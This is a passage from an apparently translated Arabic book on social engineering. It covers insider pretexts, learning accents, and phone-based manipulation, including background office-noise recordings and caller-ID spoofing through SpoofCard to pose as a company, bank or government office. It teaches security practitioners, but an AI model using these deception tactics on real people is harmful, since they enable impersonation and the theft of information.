‫ﺷﺎھدﻧﺎ اﻟﻌدﯾد ﻣن اﻟﻣﺗﺳﺎﺑﻘﯾن اﻟذﯾن اﺳﺗﺧدﻣوا ذرﯾﻌﺔ )‪ (Pretext‬اﻟﻣوظف اﻟداﺧﻠﻲ‪ .‬ﻋﻧدﻣﺎ ﻋرض ﻣﻊ اﻋﺗراض ﻣﺛل‪" ،‬ﻣﺎ ھو رﻗم ﺷﺎرة‬
‫اﻟﻣوظف اﻟﺧﺎص؟" اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﻐﯾر ﻣﺎھر ﺳوف ﯾﺻﺑﺢ ﻋﺻﺑﻲ وإﻣﺎ ﻻ أﻣﻠك ﺟواﺑﺎ أو ﯾﻧﺗﮭﻲ‪ ،‬ﻓﻲ ﺣﯾن اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﻣﺎھر‬
‫ﺳﯾﺟﻠب ﺗﻠك اﻟﻣﻌﺗﻘدات اﻟﻣﺗﻧﺎﻓرة ﻓﻲ ﻣﺣﺎذاة اﻟﮭدف‪ .‬ﺣﯾث ﯾﻘوﻣون ﺑﺑﺳﺎطﺔ ذﻛر رﻗم ﺷﺎرة اﻟﻣوظف اﻟﺗﻲ وﺟدت ﻋﻠﻰ اﻻﻧﺗرﻧت أو ﺑﺎﺳﺗﺧدام‬
‫طرﯾﻘﺔ أﺧرى أﻧﮭم ﻛﺎﻧوا ﻗﺎدرﯾن ﻋﻠﻰ إﻗﻧﺎع اﻟﮭدف اﻧﮫ ﻟن ﯾﻛون ﺑﺣﺎﺟﺔ إﻟﻰ ﺗﻠك اﻟﻣﻌﻠوﻣﺎت‪ ،‬وﺑﺎﻟﺗﺎﻟﻲ ﻣواءﻣﺔ ﻣﻌﺗﻘدات اﻟﮭدف‪.‬‬
‫ھذه اﻟﻧﻘﺎط ھﻲ اﻷﺟوﺑﺔ اﻟﺗﻘﻧﯾﺔ ﻟﻣﺷﻛﻠﺔ ﺑﺳﯾطﺔ ﺟدا‪ ،‬وﻟﻛن ﯾﺟب أن ﻧﻔﮭم أن واﺣدا ً ﯾﻣﻛﻧﮫ ﻓﻘط ﻓﻌل اﻟﻛﺛﯾر ﻣن اﻟﺗزﯾﯾف‪ .‬اﺧﺗﺎر اﻟﻣﺳﺎر اﻟﺧﺎص ﺑك‬
‫ﺑﺣﻛﻣﺔ‪.‬‬
‫اﻟﻠﮭﺠﺎت او اﻟﺘﻌﺒﯿﺮات اﻟﻤﺴﺘﺨﺪﻣﺔ )‪(Practice Dialects or Expressions‬‬
‫ﺗﻌﻠم اﻟﻛﻼم ﺑﻠﮭﺟﺎت ﻣﺧﺗﻠﻔﺔ ﯾﺟﻌﻠك ﻻ ﯾﻣﻛن أن ﺗﻠﻣﺢ‪/‬ﺗﻼﺣظ ﺑﺳرﻋﺔ‪ .‬اﻋﺗﻣﺎدا ﻋﻠﻰ اﻟﻣﻛﺎن اﻟذي ﺗﻌﯾش ﻓﯾﮫ‪ ،‬ﺗﻌﻠم اﻟﺗﻛﻠم ﺑﻠﮭﺟﺔ‪/‬ﺑﻠﻛﻧﮫ ﻣﺧﺗﻠﻔﺔ ﻗد‬
‫ﯾﺳﺗﻐرق ﺑﻌض اﻟوﻗت‪ .‬ﻋﻧدﻣﺎ ﻛﻧت ﻓﻲ دورة ﺗدرﯾﺑﯾﺔ ﻣﻊ ﻣﻧظﻣﺔ اﻟﻣﺑﯾﻌﺎت اﻟدوﻟﯾﺔ وﻛﺎن ﺑﻌض اﻹﺣﺻﺎءات ﺗﻘول إن ‪ ٪70‬ﻣن اﻷﻣرﯾﻛﯾﯾن‬
‫ﯾﻔﺿﻠون اﻻﺳﺗﻣﺎع إﻟﻰ اﻟﻧﺎس ﺑﻠﻛﻧﺔ ﺑرﯾطﺎﻧﯾﺔ‪ .‬وﻟﺳت ﻣﺗﺄﻛدا إذا ﻛﺎﻧت ھذه اﻹﺣﺻﺎﺋﯾﺔ ﺻﺣﯾﺣﮫ أم ﻻ‪ ،‬وﻟﻛن أﺳﺗطﯾﻊ أن أﻗول إن إﻧﻧﻲ أﺳﺗﻣﺗﻊ‬
‫ﺑﻠﮭﺟﺔ ﻧﻔﺳﻲ‪.‬‬
‫ﻋﻠﻰ اﻟرﻏم ﻣن أن اﻹﺣﺻﺎﺋﯾﺎت ﺗﻘول إن ﻟﮭﺟﺔ واﺣد أﻓﺿل ﻣن اﻷﺧرى ﻓﻲ ﺣﺎل اﻟﻣﺑﯾﻌﺎت أو ﻟﻣﺟرد أﻧك ﻗد ﺗﻛون ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﻓﻲ‬
‫اﻟﺟﻧوب أو ﻓﻲ أوروﺑﺎ ﻻ ﯾﻌﻧﻲ أﻧك ﺑﺳﮭوﻟﺔ ﺳوف ﺗﺳﺗﺧدم اﻟﻠﮭﺟﺔ اﻟﻣﺣﻠﯾﺔ ﻟﺗﺟﻌﻠك ﺗظﮭر ﺑﺎﻧك ﻣن اھل اﻟﻣدﯾﻧﺔ اﻟﺗﻲ ﺗﻌﻣل ﺑﮭﺎ‪ .‬إذا ﻛﻧت ﻻ ﯾﻣﻛﻧك‬
‫أن ﺗﺟﻌل اﻟﻠﮭﺟﺔ ﻣﺛﺎﻟﯾﺔ‪ ،‬إذا ﻛﻧت ﻻ ﯾﻣﻛﻧك أن ﺗﻛون طﺑﯾﻌﯾﺎ‪ ،‬وإذا ﻛﻧت ﻻ ﯾﻣﻛﻧك أن ﺗﻛون ﻋﻠﻰ ﻧﺣو ﺳﻠس‪ ،‬ﻓﻼ ﺗﺣﺎول ذﻟك‪ .‬اﻟﻣﻣﺛﻠﯾن‬
‫ﯾﺳﺗﺧدﻣون ﻣدرﺑﯾن اﻟﺻوت ودورات ﺗدرﯾﺑﯾﺔ ﻟﺗﻌﻠم اﻟﻛﻼم ﺑوﺿوح ﻓﻲ ﻟﮭﺟﺔ ﻟدﯾﮭم ﺑﮭﺎ دور ﻟﻠﺗﺻوﯾر‪ .‬اﻟﻣﻣﺛل ﻛرﯾﺳﺗﯾﺎن ﺑﺎﯾل ھو ﻣن وﯾﻠز‪ ،‬ﻟﻛن‬
‫ﻋﻧد اﻻﺳﺗﻣﺎع إﻟﯾﮫ‪ .‬ﻓﺎﻧﮫ ﻻ ﯾﺑدو ﺑرﯾطﺎﻧﯾﺎ ﻓﻲ ﻣﻌظم أﻓﻼﻣﮫ‪ .‬اﺗﺧذ اﻟﻣﻣﺛل ﻏوﯾﻧﯾث ﺑﺎﻟﺗرو ﻟﮭﺟﺔ ﺑرﯾطﺎﻧﯾﺔ ﻣﻘﻧﻌﺔ ﺟدا ﻟﻠﻔﯾﻠم ﺷﻛﺳﺑﯾر ﻓﻲ اﻟﺣب‪.‬‬
‫ﻣﻌظم اﻟﻣﻣﺛﻠﯾن ﻟﮭم ﻣدرﺑﯾن ﯾﻛﻧون ﻣﻌﮭم ﻟﺗﻌﻠﯾﻣﮭم اﻟﻠﻛﻧﺎت او اﻟﻠﮭﺟﺎت ﻟﻸدوار اﻟﺗﻲ ﯾﻘوﻣون ﺑﮭﺎ ﻓﻲ اﻓﻼﻣﮭم‪ .‬ﻷن ﻣﻌظم اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﻲ‬
‫ﻻ ﯾﻣﻠﻛون ﻣدرﺑﯾن ﻟﺗﻌﻠﯾم اﻟﻠﮭﺟﺔ‪ ،‬ﻓﮭﻧﺎك اﻟﻌدﯾد ﻣن اﻟﻣﻧﺷورات اﻟﺗﻲ ﯾﻣﻛن أن ﺗﺳﺎﻋدك ﻋﻠﻰ اﻟﺗﻌﻠم ﻋﻠﻰ اﻷﻗل أﺳﺎﺳﯾﺎت وﺿﻊ اﻟﻠﮭﺟﺔ‪ ،‬ﻣﺛل‬
‫ﻛﺗﺎب ‪ Dialects for the Stage‬ﻟﻠﻛﺎﺗب ‪ .Evangeline Machlin‬ﻋﻠﻰ اﻟرﻏم ﻣن أن ھذا اﻟﻛﺗﺎب ﻗدﯾم ﺟدا‪ ،‬ﻓﺈﻧﮫ ﯾﺣﺗوي ﻋﻠﻰ اﻟﻛﺛﯾر ﻣن‬
‫اﻟﻧﺻﺎﺋﺢ اﻟﻛﺑﯾرة‪:‬‬
‫‪ -‬اﻟﻌﺛور ﻋﻠﻰ أﻣﺛﻠﺔ ﻟﻠﻣواطﻧﯾن ﻋن اﻟﻠﮭﺟﺔ اﻟﺗﻲ ﺗرﯾد أن ﺗﺗﻌﻠﻣﮭﺎ‪ ،‬ﺗﺳﺗﻣﻊ اﻟﯾﮭﺎ‪ .‬ﻛﺗﺎب ﻣﺛل ‪ Dialects for the Stage‬ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺄﺗﻲ ﻣﻊ‬
‫أﺷرطﺔ ﺻوﺗﯾﺔ ﻛﺎﻣﻠﺔ ﻋن اﻟﻠﮭﺟﺎت ﻟﻼﺳﺗﻣﺎع إﻟﯾﮭﺎ‪.‬‬
‫‪ -‬ﺣﺎول اﻟﺗﺣدث ﻣﻊ ﺗﺳﺟﯾﻠك ﻟﮭذا اﻟﺣدﯾث‪ ،‬وذﻟك ﻟﻣطﺎﺑﻘﺔ اﻟﻠﮭﺟﺔ ﻣﺛل ھذا اﻟﺷﺧص‪.‬‬
‫‪ -‬ﺑﻌد أن ﺗﺷﻌر ﺑﺎﻟﺛﻘﺔ إﻟﻰ ﺣد ﻣﺎ‪ ،‬ﻗم ﺑﺎﻟﺗﺳﺟل ﻟﻧﻔﺳك ﺗﺗﺣدث ھذه اﻟﻠﮭﺟﺔ ﺣﺗﻰ ﺗﺗﻣﻛن ﻣن اﻻﺳﺗﻣﺎع إﻟﯾﮭﺎ ﻓﻲ وﻗت ﻻﺣﻖ وﺗﺻﺣﯾﺢ‬
‫اﻷﺧطﺎء‪.‬‬
‫‪ -‬ﻗم ﺑﺈﻧﺷﺎء ﺳﯾﻧﺎرﯾو وﻣن ﺛم ﻣﻣﺎرﺳﺔ ھذه اﻟﻠﮭﺟﺔ اﻟﺟدﯾدة ﻣﻊ ﺷرﯾك‪.‬‬
‫‪ -‬ﻗم ﺑﺗطﺑﯾﻖ ﻟﮭﺟﺗك ﻓﻲ اﻷﻣﺎﻛن اﻟﻌﺎﻣﺔ ﻟﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎن اﻟﻧﺎس ﯾﺗﻘﺑﻠون ﻟﮭﺟﺗك وﯾﺻدﻗوﻧﮭﺎ‪.‬‬
‫ھﻧﺎك ﻋدد ﻻ ﯾﺣﺻﻰ ﻣن اﻟﻠﮭﺟﺎت واﻟﻠﻛﻧﺎت‪ ،‬وأﻧﺎ ﺷﺧﺻﯾﺎ أﺟد أﻧﮫ ﻣن اﻟﻣﻔﯾد ﻛﺗﺎﺑﺔ ﺑﻌض اﻟﺟﻣل اﻟﺗﻲ ﺳوف أﺗﻛﻠم ﻋﻧﮭﺎ‪ .‬ھذا ﯾﺗﯾﺢ ﻟﻲ ﻣﻣﺎرﺳﺔ‬
‫ﻗراءﺗﮭﺎ واﻟﺣﺻول ﻋﻠﻰ أﻓﻛﺎر ﻟﺟﻌل ﻟﮭﺟﺗﻲ أﻛﺛر طﺑﯾﻌﯾﺔ‪ .‬ﯾﻣﻛن ﻟﮭذه اﻟﻧﺻﺎﺋﺢ أن ﺗﺳﺎﻋدك ﻋﻠﻰ أن ﺗﺻﺑﺢ ﻋﻠﻰ درﺟﺔ اﻟﻣﺎﺟﺳﺗﯾر ﻓﻲ اﻟﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ أو ﺗﺻﺑﺢ ﻋﻠﻰ اﻷﻗل ﻣﺗﻘن ﻓﻲ اﺳﺗﺧدام ﻟﮭﺟﺔ أﺧرى‪.‬‬
‫ﺣﺗﻰ ﻟو ﻛﻧت ﻻ ﺗﺳﺗطﯾﻊ اﻟﺗﻛﻠم ﺑﻠﮭﺟﺔ أﺧرى‪ ،‬ﻓﺎﺳﺗﺧدام اﻟﺗﻌﺑﯾرات اﻟﺗﻲ ﺗﺳﺗﺧدم ﻓﻲ اﻟﻣﻧطﻘﺔ اﻟﺗﻲ ﺗﻌﻣل ﻓﯾﮭﺎ ﯾﻣﻛﻧﮭﺎ أن ﺗﺣدث ﻓرﻗﺎ‪ .‬ﻗم ﺑﻘﺿﺎء‬
‫ﺑﻌض اﻟوﻗت ﻓﻲ اﻻﺳﺗﻣﺎع إﻟﻰ اﻟﻧﺎس ﻓﻲ ﻣﺣﺎﺿرة ﻋﺎﻣﺔ ﻣﻊ ﺑﻌﺿﮭم اﻟﺑﻌض‪ .‬ﻓﻲ ﻣﻛﺎن ﻣﺎ ﻣﺛل اﻟﻌﺷﺎء أو اﻟﻣرﻛز اﻟﺗﺟﺎري‪ ،‬أو أي ﻣﻛﺎن ﻗد‬
‫ﺗﺟد ﻓﯾﮫ ﻣﺟﻣوﻋﺎت ﻣن اﻟﻧﺎس ﯾﺟﻠﺳون وﯾﺗﺣدﺛون‪ .‬ﻗم ﺑﺎﻻﺳﺗﻣﺎع ﻋن ﻛﺛب إﻟﻰ اﻟﻌﺑﺎرات أو اﻟﻛﻠﻣﺎت اﻟرﺋﯾﺳﯾﺔ‪.‬‬
‫اﻟﮭﺎﺗﻒ ﯾﺠﺐ أﻻ ﯾﻘﻠﻞ ﻣﻦ ﺟﮭﺪ اﻟﻤﮭﻨﺪس اﻻﺟﺘﻤﺎﻋﻲ )‪(Using the Phone Should Not Reduce the Effort for the SE‬‬
‫ﻓﻲ اﻟﺳﻧوات اﻷﺧﯾرة‪ ،‬ﻗد ﺣﺎل اﻹﻧﺗرﻧت ﻟﻠﺳﯾطرة ﻋﻠﻰ أﻛﺛر ﺟواﻧب "ﺷﺧﺻﯾﺔ" اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬ﺑﯾﻧﻣﺎ ﻓﻲ اﻟﻣﺎﺿﻲ ﻛﺎن اﻟﮭﺎﺗف ﺟزءا ﻻ‬
‫ﯾﺗﺟزأ ﻣن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﺑﺳﺑب ھذا اﻟﺗﺣول‪ ،‬اﻟﻌدﯾد ﻣن اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن ﻻ ﯾﺿﻌون اﻟطﺎﻗﺔ أو اﻟﺟﮭد ﻓﻲ ﺣﯾن ان اﺳﺗﺧدام اﻟﮭﺎﺗف‬
‫ﯾﻣﻛن أن ﯾﺣﻘﻖ اﻧﺟﺎﺣﮭﺎ‪ .‬ھذا اﻟﻣوﺿوع ھﻧﺎ ﻹظﮭﺎر أن اﻟﮭﺎﺗف ﻻ ﯾزال واﺣدا ﻣن أﻗوى أدوات اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ واﻟﺟﮭود اﻟﻣﺑذوﻟﺔ ﻓﻲ‬
‫اﺳﺗﺧداﻣﮫ ﯾﻧﺑﻐﻲ أﻻ ﺗﻘﻠص ﻧظرا ﻟوﺟود اﻹﻧﺗرﻧت اﻻن‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪818‬‬

‫أﺣﯾﺎﻧﺎ ﻋﻧد ﺗﺧطط اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﮭﺟوم اﻟﮭﺎﺗف ﻗد ﯾﺧﺗﻠف ﺗﻔﻛﯾره ﺑﺳﺑب أن اﺳﺗﺧدام اﻹﻧﺗرﻧت ﯾﺑدو أﺳﮭل‪ .‬ﻻﺣظ أﻧﮫ ﯾﺟب ﻋﻠﯾك اﻟﺗﺧطﯾط‬
‫ﻟوﺿﻊ ﻧﻔس اﻟﻣﺳﺗوى ﻣن اﻟﺟﮭد‪ ،‬ﻋﻠﻰ ﻧﻔس ﻣﺳﺗوى ﻋﻣﻖ اﻟﺑﺣث وﻋﻣﻠﯾﺔ ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪ ،‬واﻷھم ﻣن ﻧﻔس ﻣﺳﺗوى اﻟﻣﻣﺎرﺳﺔ ﻓﻲ ھﺟﻣﺎت‬
‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻘﺎﺋﻣﺔ ﻋﻠﻰ ھﺎﺗﻔك‪.‬‬
‫إذا ﻟم ﺗﻛن ﻣﺣظوظﺔ ﺑﺎن ﯾﻛون ﻟدﯾﻧك ﻣﺟﻣوﻋﺔ ﻟﻣﻣﺎرﺳﺔ أو ﺻﻘل ھذه اﻟﻣﮭﺎرات‪ .‬ﻓﺣﺎول اﻻﺗﺻﺎل ﺑﺎﻟﻌﺎﺋﻠﺔ أو اﻷﺻدﻗﺎء ﻟﻧرى إﻟﻰ أي ﻣدى‬
‫ﯾﻣﻛﻧك اﻟﺣﺻول ﻋﻠﻰ اﻟﺗﻼﻋب ﺑﮭﺎ‪ .‬طرﯾﻘﺔ أﺧرى ﻟﻣﻣﺎرﺳﺔ ھو ﺗﺳﺟﯾل ﻟﻧﻔﺳك ﻛﻣﺎ ﻟو ﻛﻧت ﻋﻠﻰ اﻟﮭﺎﺗف وﻣن ﺛم ﺗﺷﻐﯾﻠﮫ ﻣرة أﺧرى ﻓﻲ وﻗت‬
‫ﻻﺣﻖ ﻟﺳﻣﺎع ﻛﯾف ﯾﺑدو‪.‬‬
‫اﺳﺗﺧدام اﻟﮭﺎﺗف ﻟﺗرﺳﯾﺦ ذرﯾﻌﺔ )‪ (Pretext‬ﺧﺎﺻﺔ ﺑك ھو واﺣد ﻣن أﺳرع اﻟطرق ﻟدﺧول ﺑﺎب اﻟﮭدف اﻟﺧﺎص ﺑك‪ .‬اﻟﮭﺎﺗف ﯾﺳﻣﺢ ﻟﻠﻣﮭﻧدس‬
‫اﻻﺟﺗﻣﺎﻋﻲ اﻟﻘﯾﺎم "ﺑﻣﺣﺎﻛﺎة وھﻣﯾﮫ"‪ ،‬أي ﺷﻲء ﺗﻘرﯾﺑﺎ‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ :‬إذا أردت أن أﺗﺻل ﺑك وﻣن ﺛم اﺗظﺎھر ﺑﺄﻧﻧﻲ ﻛﻧت ﻓﻲ ﻣﻛﺗب‬
‫ﺻﺎﺧب‪/‬ﻣزدﺣم ﻹﺿﺎﻓﺔ ذرﯾﻌﺔ ﻣﺎ )‪ (Pretext‬واﻟﺗﻲ ﺗﺣﺎول اﺳﺗﺧداﻣﮭﺎ‪ ،‬ﯾﻣﻛن ﺑﺑﺳﺎطﺔ اﺳﺗﺧدام‪/‬اﻧﺗزاع ھذا اﻟﺻوت ﻣن ‪Thriving Office‬‬
‫)‪ .(www.thrivingoffice.com/‬ﯾوﻓر ھذا اﻟﻣوﻗﻊ ﻣﺳﺎرا ﯾﺳﻣﻰ "‪ "Busy‬وآﺧر ﯾﺳﻣﻰ "‪" ."Very Busy‬ھذه ‪ CD‬ﻗﯾﻣﺔ ﺟدا‪ ،‬وھﻲ ﻣﻠﯾﺋﺔ‬
‫ﺑﺄﺻوات اﻟﻧﺎس اﻟذﯾن ﯾﺗوﻗﻌون أن ﻧﺳﻣﻌﮭم ﻓﻲ اﻟﺷرﻛﺔ‪ ،‬وﯾوﻓر اﻟﻣﺻداﻗﯾﺔ اﻟﻔورﯾﺔ‪ .‬اﻧﮭﺎ ﺑﺳﯾطﺔ وﻓﻌﺎﻟﺔ وﻣﺿﻣوﻧﺔ" !‬
‫ﯾﺗم ﺗﻌﺑﺋﺔ ھذه ﻣﻊ اﻟﺟﻣل وﺣدھﺎ ﻣن ﻗﺑل اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن ﻣﻊ ﻣﺎ ﯾﺗوﻗﻊ اﻟﻧﺎس أن ﯾﺳﻣﻌوﻧﮫ ﻣن ﺷرﻛﺔ ﻗﺎﺋم ﻋﻠﻰ اﻟﺗﺄﺳﯾس‪ .‬ﺑﺎﻟﻔﻌل ﯾﻣﻛﻧك أن‬
‫ﺗرى أن ‪ CD‬ﺗوﺟﮫ ﻟﻣلء اﻟﺗوﻗﻌﺎت وﺗوﻓﯾر اﻟﻣﺻداﻗﯾﺔ )ﻋﻠﻰ اﻷﻗل‪ ،‬ﻓﻲ اﻻﻋﺗﺑﺎر اﻟﮭدف‪ ،‬ﺑﻌد ﺗﻠﺑﯾﺔ ﺗوﻗﻌﺎﺗﮫ(‪ ،‬ﻣﻣﺎ ﯾﺳﺎﻋد ﻋﻠﻰ ﺑﻧﺎء اﻟﺛﻘﺔ ﺗﻠﻘﺎﺋﯾﺎ‪.‬‬
‫ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﺧداع اﻟﻣﺗﺻل ﺑﻣﻌﻠوﻣﺎت اﻟﺗﻌرﯾف ﺑﺳﯾطﺔ ﻧﺳﺑﯾﺎ‪ .‬ﺧدﻣﺎت ﻣﺛل ‪(http://www.spoofcard.com/) SpoofCard‬أو‬
‫ﺑﺎﺳﺗﺧدام ﺣﻠول ﻣﺣﻠﯾﺔ‪ ،‬ﺗﺳﻣﺢ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﯾﻘول ﻟﻠﮭدف أن اﻻﺗﺻﺎل ﯾﺗم ﻣن ﻣﻘر اﻟﺷرﻛﺔ‪ ،‬واﻟﺑﯾت اﻷﺑﯾض‪ ،‬أو ﺑﻧك ﻣﺣﻠﻲ‪ .‬ﻣﻊ ھذه‬
‫اﻟﺧدﻣﺎت ﯾﻣﻛﻧك ﻣﺣﺎﻛﺎة وھﻣﯾﮫ اﻟﻌدد ﯾﺄﺗﻲ ﻣن أي ﻣﻛﺎن ﻓﻲ اﻟﻌﺎﻟم‪.‬‬
‫اﻟﮭﺎﺗف ھو أداة ﻗﺎﺗﻠﺔ ﻟﻠﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﻲ؛ ﺗطوﯾر ﻋﺎدات ﻣﻣﺎرﺳﺔ اﺳﺗﺧداﻣﮭﺎ واﻟﺗﻌﺎﻣل ﻣﻌﮭﺎ ﻣﻊ اﻻﺣﺗرام اﻟﺗﺎم ﺳﺗﻌزز ﻣﺟﻣوﻋﺔ أدوات أي‬
‫ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ .‬ﻷن اﻟﮭﺎﺗف ھو ھذه اﻷداة اﻟﻘﺎﺗﻠﺔ وﻟم ﺗﻔﻘد ﻓﺎﻋﻠﯾﺗﮭﺎ‪ ،‬ﯾﺟب أن ﺗﻌطﯾﮫ اﻟوﻗت واﻟﺟﮭد اﻟذي ﺗﺳﺗﺣﻘﮫ‪.‬‬
‫ﻛﻠﻤﺎ زادت ﺑﺴﺎطﺔ اﻠ ‪ ،Pretext‬ﻛﻠﻤﺎ زادت ﻓﺮص ﻟﻠﻨﺠﺎح )‪(The Simpler the Pretext, the Better the Chance of Success‬‬
‫"ﻛﻠﻣﺎ ﻛﺎن ﺑﺳﯾطﺎ‪ ،‬ﻛﻠﻣﺎ ﻛﺎن ذﻟك أﻓﺿل" اﻟﻣﺑدأ ﻓﻘط ھو أن ﻻ ﺗﺑﺎﻟﻎ‪ .‬إذا ﻛﺎﻧت اﻟذرﯾﻌﺔ )‪ (Pretext‬ﻟدﯾﮭﺎ اﻟﻛﺛﯾر ﻣن اﻟﺗﻔﺎﺻﯾل اﻟﻣﻌﻘدة اﻟﺗﻲ إذا‬
‫ﺗم ﻧﺳﯾﺎن أﺣد ھذه اﻟﺗﻔﺎﺻﯾل ﻓﺎﻧﮫ ﯾؤدي إﻟﻰ ﻓﺷل اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﯾﻣﻛن اﻟﺣﻔﺎظ ﻋﻠﻰ ﺧطوط اﻟﻘﺻﺔ‪ ،‬واﻟﺣﻘﺎﺋﻖ‪ ،‬وﺗﻔﺎﺻﯾل ﺑﺳﯾطﺔ ﺗﺳﺎﻋد‬
‫ﻋﻠﻰ ﺑﻧﺎء اﻟﻣﺻداﻗﯾﺔ‪.‬‬
‫اﻟدﻛﺗور ﺑول إﯾﻛﻣﺎن‪ ،‬ﻋﺎﻟم اﻟﻧﻔس اﻷﻣﯾرﻛﻲ اﻟﺷﮭﯾر واﻟﺑﺎﺣث ﻓﻲ ﻣﺟﺎل اﻟﺧداع اﻟﺑﺷري وراﺋد ﻓﻲ دراﺳﺔ ﻋﻼﻗﺔ اﻟﻣﺷﺎﻋر ﺑﺗﻌﺎﺑﯾر اﻟوﺟﮫ‪ ،‬ﻗﺎم‬
‫ﺑﻛﺗﺎﺑﺔ ﻣﻘﺎﻻ ﻓﻲ ﻋﺎم ‪ 1993‬ﺑﻌﻧوان "اﻷﻛﺎذﯾب اﻟﺗﻲ ﺗﻔﺷل )‪ "(Lies That Fail‬ﻓﻲ ھذا اﻟﻣﻘﺎل ﯾﻘول‪:‬‬
‫)داﺋﻣﺎ ﻻ ﯾوﺟد اﻟوﻗت ﻹﻋداد اﻟﺧطوط اﻟواﺟب اﺗﺧﺎذھﺎ‪ ،‬ﻟﻠﺗﻣرﯾن واﻟﺣﻔظ‪ .‬ﺣﺗﻰ ﻋﻧدﻣﺎ ﯾﻛون ھﻧﺎك إﺧطﺎر ﻣﺳﺑﻖ واﻓر‪ ،‬وﻣن ﺛم ﯾﺗم وﺿﻊ‬
‫اﻟﺧطوط اﻟﻛﺎذﺑﺔ ﺑﻌﻧﺎﯾﺔ‪ ،‬ﻓﺎن اﻟﻛﺎذب ﻗد ﻻ ﯾﻛون ذﻛﯾﺎ ﺑﻣﺎ ﯾﻛﻔﻲ ﻟﺗوﻗﻊ ﺟﻣﯾﻊ اﻷﺳﺋﻠﺔ اﻟﺗﻲ ﻗد ﺗطﻠب ﻣﻧﮫ‪ ،‬وﯾﺗطﻠب ﻣﻧﮫ اﻟﺗﻔﻛﯾر ﺣول ﻛﯾف ﺳوف‬
‫ﺗﺑدو اﺟﺎﺑﺗﮫ‪ .‬ﺣﺗﻰ اﻟذﻛﺎء ﻗد ﻻ ﯾﻛون ﻛﺎﻓﯾﺎ‪ ،‬ﻹﺣداث ﺗﻐﯾﯾرات ﻏﯾر ﻣرﺋﯾﺔ ﻓﻲ ظروف ﯾﻣﻛﻧﮭﺎ أن ﺗﺧون ﺧطوط ﻓﻌﺎﻟﮫ ﺧﻼف ذﻟك‪ .‬وﺣﺗﻰ ﻋﻧدﻣﺎ‬
‫ﻻ ﯾﺿطر اﻟﻛذاب ﺣﺳب اﻟظروف ﻟﺗﻐﯾﯾر اﻟﺧطوط‪ ،‬ﻓﺑﻌض اﻟﻛذاﺑﯾن ﻗد ﯾﺟدوا ﺻﻌوﺑﺔ ﻓﻲ ﺗذﻛر اﻟﺧطوط اﻟﺗﻲ أﻧﺷﺄوھﺎ ﺳﺎﺑﻘﺎ ﺑﺄﻧﻔﺳﮭم‪ ،‬ﻟذﻟك‬
‫اﻷﺳﺋﻠﺔ اﻟﺟدﯾدة ﻻ ﯾﻣﻛن اﻹﺟﺎﺑﺔ ﻋﻠﯾﮭﺎ ﺑﺳرﻋﺔ او ﺑﻣﻌﻧﻰ اﺧر" اﻧﮫ داﺋﻣﺎ ﻟن ﯾﻛون ھﻧﺎك اﻟوﻗت اﻟﻛﺎﻓﻲ ﻟﺧﻠﻖ اﻷﻛﺎذﯾب وﺣﺗﻰ ان ﺗوﻓر ھذا اﻟوﻗت‬
‫ﻟوﺿﻊ ﺑﻌض اﻷﻛﺎذﯾب ﻓﺎن اﻟﻛﺎذب ﻟن ﯾﻛون ذﻛﯾﺎ ﺑﻣﺎ ﻓﯾﮫ اﻟﻛﻔﺎﯾﺔ ﻟﺗوﻗﻊ ﺟﻣﯾﻊ اﻷﺳﺋﻠﺔ اﻟﺗﻲ ﺗطﻠب ﻣﻧﮫ‪ ،‬وھذا ﯾؤدى اﻟﻰ اﻟﺗﻔﻛﯾر ﺣول ﻛﯾﻔﯾﺔ‬
‫اﻹﺟﺎﺑﺔ ﻣﻣﺎ ﯾﺑطﺊ ﻣن ﺳرﻋﺔ اﻟرد‪ .‬ﺣﺗﻰ ان ﻛﺎن ﯾﺗﺳم ﺑﺎﻟذﻛﺎء ﻓﮭذا ﻟن ﯾﻛون ﻛﺎﻓﯾﺎ‪ ،‬ﻹﺣداث ﺗﻐﯾرات ﻣرﺋﯾﺔ ﻓﻲ ظروف ﻣن اﻟﻣﻣﻛن ﺑﻌد ذﻟك‬
‫ﺗﻘوم ﺑﺈﻓﺳﺎد ﺑﻌض اﻷﻛﺎذﯾب اﻟﺗﻲ ﻗد اﺳﺗﺧدﻣﮭﺎ ﻓﻲ إﺟﺎﺑﺎت ﺳﺎﺑﻘﮫ )ﺑﺎﻟﻌﺎﻣﯾﺔ زاد اﻟطﯾن ﺑﻠﮫ( او ﺗؤدى اﻟﻰ ﺗﻐﯾر ﺑﻌض اﻻﻛﺎذﯾب اﻟﺗﻲ اﻧﺷﺎھﺎ‬
